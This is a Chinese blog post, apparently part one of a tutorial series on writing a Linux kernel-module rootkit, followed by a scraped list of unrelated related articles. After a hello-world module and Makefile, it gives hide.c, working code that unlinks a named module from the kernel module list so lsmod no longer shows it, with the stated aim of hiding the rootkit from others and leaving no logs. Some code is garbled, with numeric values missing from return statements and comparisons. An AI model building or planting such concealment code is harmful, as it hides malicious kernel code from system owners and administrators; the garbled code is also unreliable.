唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这《手把手教你写LKM rookit》

  我觉得: 你们觉得:。。。。。。

开始之前,我们先来理解一句话:一切的操作都是系统调用。系统通过陷入或者库的方式,让你跟内核的函数交互。当然啦,平时我们都处在用户态的情况下,系统调用调用的是内核态的函数,ps:这个系列完了,我们从内核级的rookit脱离出来,升级到bios级别的rootkit,哇卡卡~~

那么我在这傻了吧唧的讲了半天,什么是LKM,Loadable Kernel Modules,翻译过来就是“可加载内核模块程序”。

系统调用一般来处理什么I/O请求啦,进程管理啦,内存管理啊之类的,你想想原来你原来程序有个函数a,调用的是底层的函数b,你把函数b拦截了替换了一个函数c。。。。

我的系统调用号的定义在 /usr/include/asm-generic/unistd.h 文件中

#include <asm/bitsperlong.h>

/*
* This file contains the system call numbers, based on the
* layout of the x86-64 architecture, which embeds the
* pointer to the syscall in the table.
*
* As a basic principle, no duplication of functionality
* should be added, e.g. we don't use lseek when llseek
* is present. New architectures should use this file
* and implement the less feature-full calls in user space.
*/ #ifndef __SYSCALL
#define __SYSCALL(x, y)
#endif #if __BITS_PER_LONG == 32 || defined(__SYSCALL_COMPAT)
#define __SC_3264(_nr, _32, _64) __SYSCALL(_nr, _32)
#else

hello.c这个以后会成为功能性的主文件

 #include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h> MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test"); static int fuck_init(void){
printk(KERN_ALERT "come on baby!!");
return ;
} static void fuck_exit(void){
printk(KERN_ALERT "bye-bye\n");
} module_init(fuck_init);
module_exit(fuck_exit)

hello.c

Makefile:

obj-m += hello.o

all:
make -C /lib/modules/`uname -r`/build M=`pwd` modules
clean:
make -C /lib/modules/`uname -r`/build M=`pwd` clean

make之后得到hello.ko文件sudo insmod hello.ko可加载此模块,用rmmod hello删除模块,用dmesg可以查看到我的模块的remove_init函数的执行情况。

[  333.890125] come on baby!!

liet@kali:~/code/c/study/lkm$ lsmod | grep hello
hello 12417 0

至此你的第一个内核级的hello出来了,接下来我们来隐藏它,我们写的是rootkit,当然不能让别人lsmod就能看到,以后日志也不要有

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

hide.c

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h> MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test"); static char *mod_name = "hello";
module_param(mod_name, charp, ); static int remove_init(void){
struct module *mod_head,*mod_counter;
struct list_head *p;
mod_head = &__this_module;
list_for_each(p, &mod_head->list){
mod_counter = list_entry(p, struct module, list);
if(strcmp(mod_counter->name, mod_name) == ){
list_del(p);
printk("removetree module %s ok!\n",mod_name);
return ;
}
}
printk("Can't find module %s.\n",mod_name);
return ;
} static void remove_exit(void){
printk(KERN_ALERT "hide say : bye-bye\n");
} module_init(remove_init);
module_exit(remove_exit);

Makefile跟hello的Makefile一样,改个名字就行

当第一个模块添加后,添加sudo insmod hide.ko,

dmesg一下看到

[ 333.890125] come on baby!!removetree module hello ok!,

这个时候你lsmod发现你的hello不见了,其实它还在。。。。。。

后面我们会往这里面添加些好玩的功能,让这个rootkit强大起来!!

  

手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)的更多相关文章

  1. 手把手教你写Sublime中的Snippet

    手把手教你写Sublime中的Snippet Sublime Text号称最性感的编辑器, 并且越来越多人使用, 美观, 高效 关于如何使用Sublime text可以参考我的另一篇文章, 相信你会喜 ...

  2. 手把手教你写电商爬虫-第三课 实战尚妆网AJAX请求处理和内容提取

    版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 看完两篇,相信大家已经从开始的 ...

  3. 手把手教你写电商爬虫-第四课 淘宝网商品爬虫自动JS渲染

    版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 手把手教你写电商爬虫-第三课 ...

  4. 只有20行Javascript代码!手把手教你写一个页面模板引擎

    http://www.toobug.net/article/how_to_design_front_end_template_engine.html http://barretlee.com/webs ...

  5. [原创]手把手教你写网络爬虫(4):Scrapy入门

    手把手教你写网络爬虫(4) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 上期我们理性的分析了为什么要学习Scrapy,理由只有一个,那就是免费,一分钱都不用花! 咦?怎么有人扔西红柿 ...

  6. [原创]手把手教你写网络爬虫(5):PhantomJS实战

    手把手教你写网络爬虫(5) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 大家好!从今天开始,我要与大家一起打造一个属于我们自己的分布式爬虫平台,同时也会对涉及到的技术进行详细介绍.大 ...

  7. [原创]手把手教你写网络爬虫(7):URL去重

    手把手教你写网络爬虫(7) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 本期我们来聊聊URL去重那些事儿.以前我们曾使用Python的字典来保存抓取过的URL,目的是将重复抓取的UR ...

  8. Android开发之手把手教你写ButterKnife框架(三)

    欢迎转载,转载请标明出处: http://blog.csdn.net/johnny901114/article/details/52672188 本文出自:[余志强的博客] 一.概述 上一篇博客讲了, ...

  9. Android开发之手把手教你写ButterKnife框架(二)

    欢迎转载,转载请标明出处: http://blog.csdn.net/johnny901114/article/details/52664112 本文出自:[余志强的博客] 上一篇博客Android开 ...

随机推荐

  1. python 调用zabbix api接口实现主机的增删改查

    python程序调用zabbix系统的api接口实现对zabbix_server端主机的增删改查,使用相关功能时候,需要打开脚本中的相关函数. 函数说明: zabbixtools()  调用zabbi ...

  2. [Android]应用的前后台运行

    在开发中,你是不是没有抽象一个出常用的类,那你可能要为你的懒惰付出很大的代价.要时刻记得自己的工具箱,不断往里面添加一些小小玩意.今天就给大家带来一个很有意思的例子.前后台运行!! 在Android开 ...

  3. 【贪心+一点小思路】Zoj - 3829 Known Notation

    借用别人一句话,还以为是个高贵的dp... ... 一打眼一看是波兰式的题,有点懵还以为要用后缀表达式或者dp以下什么什么的,比赛后半阶段才开始仔细研究这题发现贪心就能搞,奈何读错题了!!交换的时候可 ...

  4. Spring AOP原理解析

    原文链接请参见:http://blog.csdn.net/u010723709/article/details/47839307

  5. backboneJs 导图

  6. Java Concurrency - Phaser, Controlling phase change in concurrent phased tasks

    The Phaser class provides a method that is executed each time the phaser changes the phase. It's the ...

  7. Error This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. T

    错误提示: Severity Code Description Project File Line Suppression StateError This project references NuG ...

  8. %r与%s的区别

    %r用rper()方法处理对象 %s用str()方法处理对象 有些情况下,两者处理的结果是一样的,比如说处理int型对象. 例一: print "I am %d years old.&quo ...

  9. 设置In_Memery

    alter system set inmemory_size=4G scope=spfile; alter table table_name inmemory; alter table table_n ...

  10. 对JavaScript莫名的愤怒

    很多时候,我都察觉JavaScript有一中描述性语言的特性,为了实现他的功能,在浏览器中完美的发挥作用,他就像是一个巨型的工厂工程模式,外挂了很多API和功能集,他们试图用完美的方案去解释所有必须的 ...